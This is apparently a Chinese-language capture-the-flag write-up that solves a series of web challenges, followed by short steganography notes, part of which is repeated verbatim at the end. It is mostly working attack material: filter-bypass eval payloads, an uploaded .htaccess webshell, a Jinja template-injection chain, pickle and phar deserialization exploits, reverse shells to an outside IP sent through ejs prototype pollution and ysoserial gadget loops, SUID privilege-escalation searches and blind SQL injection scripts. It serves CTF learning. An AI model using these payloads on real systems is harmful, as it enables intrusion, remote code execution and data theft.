发布时间:2023-09-13 12:30
require_once 绕过不能重复包含文件的限制
/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>
搞了个自定义错误处理函数,让他报错就行,下面有个字符串拼接,传值数组即可
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
phpinfo得到版本为7.2,可用($a)();这样的方法来执行动态函数,取反+通配符绕过
import requests
data = "aaa=(~%8C%86%8C%8B%9A%92)('/?in/?at /fla?');"
headers = {'Content-Type':'application/x-www-form-urlencoded'}
rep = requests.post(url="http://5a8a9110-f92c-4974-a512-868fd16a163a.node4.buuoj.cn:81/", data=data, headers=headers)
print(rep.text)
后缀名不能是php,前后端都有校验,文件内容过滤了
.htaccess配合伪协议绕过内容过滤,并使得jpg解析
Content-Disposition: form-data; name="file"; filename="hack.jpg"
Content-Type: image/jpeg
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=hack.
phpinfo可见disable_functions
system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
读文件的没过滤,直接盲打/flag 懒得bypass了
. ' " [ _
pop getitem dict builtins request globals system import subclasses class init eval args mro os (空格)
过滤了好多关键字,常用的request也没了,只能set变量得到关键字绕过,看着和ctfshow web371 差不多 搜到这篇文章的payload直接能打空格用%0a代替就行 [2021 MAR & DASCTF]baby_flask
burp发两次包就行 第一次设置变量 第二次执行
{%%0aset%0azero%0a=%0a(self|int)%0a%}{%%0aset%0aone%0a=%0a(zero**zero)|int%0a%}{%%0aset%0atwo%0a=%0a(zero-one-one)|abs%0a%}{%%0aset%0afour%0a=%0a(two*two)|int%0a%}{%%0aset%0afive%0a=%0a(two*two*two)-one-one-one%0a%}{%%0aset%0athree%0a=%0afive-one-one%0a%}{%%0aset%0anine%0a=%0a(two*two*two*two-five-one-one)%0a%}{%%0aset%0aseven%0a=%0a(zero-one-one-five)|abs%0a%}{%%0aset%0aspace%0a=%0aself|string|min%0a%}{%%0aset%0apoint%0a=%0aself|float|string|min%0a%}{%%0aset%0ac%0a=%0adict(c=aa)|reverse|first%0a%}{%%0aset%0abfh%0a=%0aself|string|urlencode|first%0a%}{%%0aset%0abfhc%0a=%0abfh~c%0a%}{%%0aset%0aslas%0a=%0abfhc%((four~seven)|int)%0a%}{%%0aset%0ayin%0a=%0abfhc%((three~nine)|int)%0a%}{%%0aset%0axhx%0a=%0abfhc%((nine~five)|int)%0a%}{%%0aset%0aright%0a=%0abfhc%((four~one)|int)%0a%}{%%0aset%0aleft%0a=%0abfhc%((four~zero)|int)%0a%}{%%0aset%0abut%0a=%0adict(buil=aa,tins=dd)|join%0a%}{%%0aset%0aimp%0a=%0adict(imp=aa,ort=dd)|join%0a%}{%%0aset%0apon%0a=%0adict(po=aa,pen=dd)|join%0a%}{%%0aset%0aso%0a=%0adict(o=aa,s=dd)|join%0a%}{%%0aset%0aca%0a=%0adict(ca=aa,t=dd)|join%0a%}{%%0aset%0aflg%0a=%0adict(fl=aa,ag=dd)|join%0a%}{%%0aset%0aev%0a=%0adict(ev=aa,al=dd)|join%0a%}{%%0aset%0ared%0a=%0adict(re=aa,ad=dd)|join%0a%}{%%0aset%0abul%0a=%0axhx~xhx~but~xhx~xhx%0a%}{%%0aset%0aini%0a=%0adict(ini=aa,t=bb)|join%0a%}{%%0aset%0aglo%0a=%0adict(glo=aa,bals=bb)|join%0a%}{%%0aset%0aitm%0a=%0adict(ite=aa,ms=bb)|join%0a%}{%%0aset%0apld%0a=%0axhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0a%}{%%0afor%0af,v%0ain%0a(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0a%}{%%0aif%0af%0a==%0abul%0a%}{%%0afor%0aa,b%0ain%0a(v|attr(itm))()%0a%}{%%0aif%0aa%0a==%0aev%0a%}{{b(pld)}}{%%0aendif%0a%}{%%0aendfor%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}
Python Pickle反序列化
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
#__init__.py
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
限定了只能反序列化config
类,而且调用的方法或属性中不能含有__
不过题目给了个后门函数,反序列化直接调用即可,命令执行还有回显太贴心了
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return
<?php
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
Fatal error: Uncaught Error: start in /var/www/html/index.php:80 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 80
链子简单看一下就行
class air{
public $p;
}
class tree{
public $name;
public $act;
}
class apple {
public $xxx;
public $flag;
}
$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;
// $d->act='FilesystemIterator';
// $c->p = $d;
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;
$d->act='SplFileObject';
$c->p = $d;
$b->xxx = $c;
$b->flag = "/fflaggg";
$a->name = $b;
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
链子末端是个new一个类,打原生类就行,用glob伪协议配合FilesystemIterator类读flag文件名,然后SplFileObject类读文件
主要是有个throw new Error("start");
要绕过,不然__destruct()
无法触发,链子开头就废了
利用强行GC( 垃圾处理机制)来触发__destruct
方法
a:2:{i:0;O:4:"tree":0:{}i:0;i:0;}
//或者
a:2:{i:0;O:4:"tree":{}i:0;N;}
传值以及生成的phar文件都需要改
生成的phar文件改完还要修sha1校验值
# -*- coding: utf-8 -*-
from hashlib import sha1
f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixd_phar.phar', 'wb').write(newf) # 写入新文件
过滤的是类名,hex绕过不行了,使用gzip压缩phar绕过waf函数过滤,原理详见文章从虎符线下CTF深入反序列化利用
还有一个坑点就是,文件上传容易有编码会变,要urlencode一下
from urllib.parse import quote
import requests
with open('fixd_phar.phar.gz','rb') as f:
ff=f.read()
headers = {'Content-Type':'application/x-www-form-urlencoded'}
rep = requests.post(url="http://f4d5f70c-40fd-4d98-b794-3172f01132fb.node4.buuoj.cn:81/", data='1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}&0='+quote(ff), headers=headers)
print(rep.text)
基本逻辑就是只能上传zip,每次上传是不同的子目录(随机数无法爆破),上传文件名有 … 的就被提示hacker 然后上传的zip不能有目录 文件名不能有 …/ 上传zip解压失败也会告知文件目录
上传畸形zip,即解压到一半就失败的zip,进行绕过
压三个php到一个ZIP然后010 Editor 修改最后一个文件名为/
改成系统中不允许的文件名,之前改CRC的办法不行了,php的ZipArchive还是正常解压,改内容的话,整个文件报错 一个文件都出不来
上传提示失败就行了 直接弹个shell
system("bash -c 'bash -i >& /dev/tcp/118.xxx.xxx.xxx/7999 0>&1'");?>
cat /flag提示无权限,打提权,debian10 内核版本好像没啥能打的洞
考虑之前新出poc的pkexec提权漏洞 https://github.com/arthepsy/CVE-2021-4034 打一发没反应 pkexec --version 发现压根没装
考虑suid提权
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
先用前面两命令小范围搜 从根目录开始的话范围太大了 靶机性能没那么强 要搜好久。。。。
nl有权限 直接 nl /flag
就行
npm查了下源码包依赖的漏洞,啥也没有,最新的CVE-2022-29078是ejs 3.16的这里是3.17已修复版本
源码很明显一个原型链污染,试了下opts.outputFunctionName
那条链子,已经被修复了,加了变量名的校验
找一下ejs.js里面还有那些src变量拼接的地方
网上搜一下看看有没有现成的payload https://www.anquanke.com/post/id/236354 本地调试一下 改一下文章中的payload就行
然后直接postman发包就行
{
"__proto__": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/118.31.76.240/7999 0>&1\"');",
"compileDebug": true
}
}
就一个登录界面 输入啥都没反应 查看源码 说是一个钓鱼网站 那应该就是insert注入 纯记录的 布尔盲注不行了 时间盲注即可
给了黑名单,用benchmark(2999999,md5('test'))
代替sleep 时间盲注直接梭 空格用 %0a 或者括号包裹代替
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');
import time
import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''
for i in range(1,60):
for j in string:
time.sleep(1)
#payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
try:
headers = {'Content-Type':'application/x-www-form-urlencoded'}
requests.post(url="http://17fa2a25-fc60-4e0b-937b-18edcec93870.node4.buuoj.cn:81/index.php", data=payload, headers=headers, timeout=1.5)
except:
res = chr(j)+res
print(res)
break
应该是多了点啥过滤吧,试了下上一题的脚本,还能用,直接梭
import time
import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''
for i in range(1,60):
for j in string:
time.sleep(0.5)
#payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
try:
headers = {'Content-Type':'application/x-www-form-urlencoded'}
requests.post(url="http://367c6ac9-727f-4f31-ae4b-890a117a4056.node4.buuoj.cn:81/index.php", data=payload, headers=headers, timeout=1.5)
except:
res = chr(j)+res
print(res)
break
登录发现cookie user是base64的,符合加密后序列化的开头特征
直接打cc链没反应,发包一直有setcookie
猜测不在这触发,尝试/user 或者 /admin路由
抓包用burp 插件测一下
cc5直接打就行,https://ares-x.com/tools/runtime-exec/,编码下反弹shell payload
或者直接写脚本盲打
#jdk1.8 win
from urllib.parse import quote
import requests
import os
import base64
import time
#payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']
for payload in payloads:
command = os.popen('java8 -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > '+payload+'.txt')
command.close()
cmd = os.popen('certutil -f -encode '+payload+'.txt '+payload+'_encode.txt')
cmd.close()
#result = result.replace('\n','')
with open(payload + '_encode.txt','r') as f:
ff=f.read()
ff=ff.replace('\n','')
ff=ff.replace('-----BEGIN CERTIFICATE-----','')
ff=ff.replace('-----END CERTIFICATE-----','')
print(payload+'\n')
cookies = {'JSESSIONID':'27F2790D6C4FB2CDC86DB5A8011DB28A','user':ff}
rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", cookies=cookies)
#time.sleep(2)
print(rep.text)
#jdk1.8 linux
from urllib.parse import quote
import requests
import os
import base64
import time
payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']
for payload in payloads:
command = os.popen('java -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w 0')
result = command.read()
command.close()
#result = result.replace('\n','')
print(result)
if result != "":
open(payload + '_intruder.txt', 'w').write(result + 'n')
for payload in payloads:
with open(payload + '_intruder.txt','r') as f:
ff=f.read()
print(payload+'\n')
headers = {'Content-Type':'application/x-www-form-urlencoded'}
cookies = {'JSESSIONID':'98C504A30CFBA237247087E5F7D925D7','user':ff}
rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", headers=headers, cookies=cookies)
#time.sleep(2)
print(rep.text)
签到
foremost 分离图片 zip ,zip有密码包含,爆破无效,考虑lsb隐写
压缩包有密码 不是伪加密 尝试爆破
里面就是编码套娃
下载的文件,无法直接打开用解压软件查看发现word结构,改后缀docx
字体隐写,换个正常字体就行,后面就是编码套娃
百度到去这个网站解码http://tool.bugku.com/brainfuck/?wafcloud=1
)]
压缩包有密码 不是伪加密 尝试爆破
里面就是编码套娃
下载的文件,无法直接打开用解压软件查看发现word结构,改后缀docx
字体隐写,换个正常字体就行,后面就是编码套娃
百度到去这个网站解码http://tool.bugku.com/brainfuck/?wafcloud=1